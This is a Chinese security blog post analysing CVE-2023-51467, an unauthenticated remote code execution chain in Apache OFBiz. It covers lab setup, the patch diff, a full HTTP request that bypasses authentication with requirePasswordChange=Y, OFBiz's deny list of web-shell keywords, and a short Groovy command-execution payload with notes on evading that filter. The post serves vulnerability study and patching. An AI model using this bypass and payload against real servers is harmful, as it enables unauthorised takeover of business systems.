关注我们❤️,添加星标🌟,一起学安全!
作者:Ku1pla@Timeline Sec
本文字数:2311
阅读时长:3~5min
声明:仅供学习参考使用,请勿用作违法用途,否则后果自负
0x01 简介
Apache OFBiz 是一个用于企业流程自动化的开源产品。它包括 ERP、CRM、电子商务/电子商务、供应链管理和制造资源规划的框架组件和业务应用程序。OFBiz 为可靠、安全和可扩展的企业解决方案提供了基础和起点。
0x02 漏洞概述
漏洞编号:CVE-2023-51467
该漏洞利用权限绕过+后台groovy代码执行以实现未授权RCE。由于在ofbiz 18.12.10版本官方仍未修复权限绕过漏洞,导致攻击者能够利用此漏洞绕过权限并且配合后台代码执行来获取远程服务器权限。
0x03 影响版本
Apache Ofbiz <18.12.11
0x04 环境搭建
下载个apache-ofbiz-18.12.10.zip,用IDEA打开后静静的等依赖拉好 https://downloads.apache.org/ofbiz/
然后可以用个偷懒的办法把环境跑起来,先执行如下命令把测试数据创建好
./gradlew cleanAll loadAll
然后在IDEA debug org.apache.ofbiz.base.start.Start就行
tips:
1.如果启动报错端口被占用,改下frameworkstartsrcmainjavaorgapacheofbizbasestartstart.properties的ofbiz.admin.port就行
2.18.12.11在windows下有个重定向的bug,想用新版建议18.12最新版的commit或者dokcer,https://github.com/apache/ofbiz-framework/tree/release18.12
0x05 漏洞分析
01 权限绕过
从cve的漏洞链接里翻了半天,锁定如下commit
https://github.com/apache/ofbiz-framework/commit/ee02a33509589856ab1ad08399e8dcee6b0edf58
framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/LoginWorker.java#login
String errMsg = UtilProperties.getMessage(RESOURCE, "loginevents.following_error_occurred_during_login",
messageMap, UtilHttp.getLocale(request));
request.setAttribute("_ERROR_MESSAGE_", errMsg);
- return requirePasswordChange ? "requirePasswordChange" : "error";
+ return "error";
}
}
可以看到官方只是把返回的requirePasswordChange删除了,之前看过ofbiz相关分析的bro应该马上就反应过来咋回事了,没看过的xd可以参考下先知的这篇文章,对ofbiz鉴权这块解释的很详细,https://xz.aliyun.com/t/13168#toc-7
很明显,如果返回requirePasswordChange而不是error能bypass掉部分路由的权限验证。(这里只是盲测了几个别的路由接口,感觉很有finebi那种接口不要鉴权,进去第一句代码就是检测是否有admin权限)
拿下面的接口下payload验证下确实是这么bypass权限的
GET /accounting/control/globalGLSettings?USERNAME=a&PASSWORD=a&JavaScriptEnabled=Y&TOKEN=&requirePasswordChange=Y HTTP/1.1
Host: 127.0.0.1:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://127.0.0.1:8443/accounting/control/login
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
02 通用后台RCE
这部分就不过多废话了,y4tacker师傅写的已经相当详细,其实就是官方的过滤很容易被bypass,当然在最新版这个后台RCE依旧存在(Ps:主要是修起来突出一个没完没了哈哈)。
过滤如下,DENIEDWEBSHELLTOKENS来自frameworksecurityconfigsecurity.properties,如下,突出一个看着很容易Bypass的,实际也很容易被Bypass。
deniedWebShellTokens=java.,beans,freemarker,<script,javascript,<body,body ,<form,<jsp:,<c:out,taglib,<prefix,<%@ page,<?php,exec(,alert(,
%eval,@eval,eval(,runtime,import,passthru,shell_exec,assert,str_rot13,system,decode,include,page ,
chmod,mkdir,fopen,fclose,new file,upload,getfilename,download,getoutputstring,readfile,iframe,object,embed,onload,build,
python,perl ,/perl,ruby ,/ruby,process,function,class,InputStream,to_server,wget ,static,assign,webappPath,
ifconfig,route,crontab,netstat,uname ,hostname,iptables,whoami,"cmd",*cmd|,+cmd|,=cmd|,localhost,thread,require,gzdeflate
比如y4tacker师傅提到的unicode编码,或者groovy最原始的def command='calc';def res=command.execute().text;res
都行
java/org/apache/ofbiz/security/SecuredUpload.java#isValidText
public static boolean isValidText(String content, List<String> allowed) throws IOException {
return content != null ? DENIEDWEBSHELLTOKENS.stream().allMatch(token -> isValid(content, token.toLowerCase(), allowed)) : false;
}
调用栈如下,/webtools/control/ProgramExport这条路由怎么跳转到frameworkwebtoolsgroovyScriptsentityProgramExport.groovy跟的意义不大,稍微知道官方渲染是怎么回事就行。
...
run:78, ProgramExport
runScriptAtLocation:209, GroovyUtil (org.apache.ofbiz.base.util)
executeScript:342, ScriptUtil (org.apache.ofbiz.base.util)
executeScript:324, ScriptUtil (org.apache.ofbiz.base.util)
runAction:634, AbstractModelAction$Script (org.apache.ofbiz.widget.model)
runSubActions:143, AbstractModelAction (org.apache.ofbiz.widget.model)
renderWidgetString:278, ModelScreenWidget$Section (org.apache.ofbiz.widget.model)
renderScreenString:164, ModelScreen (org.apache.ofbiz.widget.model)
render:140, ScreenRenderer (org.apache.ofbiz.widget.renderer)
render:102, ScreenRenderer (org.apache.ofbiz.widget.renderer)
render:113, MacroScreenViewHandler (org.apache.ofbiz.widget.renderer.macro)
renderView:1066, RequestHandler (org.apache.ofbiz.webapp.control)
doRequest:741, RequestHandler (org.apache.ofbiz.webapp.control)
doGet:212, ControlServlet (org.apache.ofbiz.webapp.control)
doPost:85, ControlServlet (org.apache.ofbiz.webapp.control)
...
漏洞复现
把上面的权限绕过和后台RCE组合起来,成功RCE
03 非通用后台RCE
最开始跟这个洞的时候,结合其他人复现花费的时间和一些截图,排除了反序列化,模板注入的可能性,but没想到现在大家都开始删掉payload藏信息了,所以经过一番自我误导,我在后台找了另外一处RCE的位置。(Ps: 很好奇如果真的用上面通用RCE去找官方,不清楚官方会不会分配新的CVE编号)
https://localhost:8443/webtools/control/EntitySQLProcessor
盲测了几个sql命令,感觉不像是h2,实在是懒得翻配置文件了,直接断点下到java/org/apache/ofbiz/entity/jdbc/SQLProcessor.java#prepareStatement看了眼是derby,谷歌下能看到有师傅已经写过相关RCE的办法,http://www.lvyyevd.cn/archives/derby-shu-ju-ku-ru-he-shi-xian-rce
瞄了眼要执行的SQL语句虽有4条,但用prepareStatement分开执行应该问题不大,按照文章描述一步步传payload进去,最后成功R。
tips: 这个exp不一定通用,得看数据库具体用的什么
0x06 修复方式
升级Apache Ofbiz到最新版本。
参考链接
http://www.lvyyevd.cn/archives/derby-shu-ju-ku-ru-he-shi-xian-rce
https://xz.aliyun.com/t/13168#toc-7
https://github.com/apache/ofbiz-framework/commit/ee02a33509589856ab1ad08399e8dcee6b0edf58
https://issues.apache.org/jira/browse/OFBIZ-12873
https://y4tacker.github.io/2023/12/27/year/2023/12/Apache-OFBiz%E6%9C%AA%E6%8E%88%E6%9D%83%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%B5%85%E6%9E%90-CVE-2023-51467/
推荐服务
历史漏洞
CVE-2023-49070
CVE-2021-30128
CVE-2021-26295
CVE-2020-9496
CVE-2020-1943
CVE-2018-8033
后台功能
回复【1】领取新人学习资料
回复【2】进入漏洞查询功能
回复【3】获取加群方式
回复【4】进入SRC-QQ交流群
商务合作
原文始发于微信公众号(Timeline Sec):CVE-2023-51467:Apache OFBiz未授权RCE漏洞分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论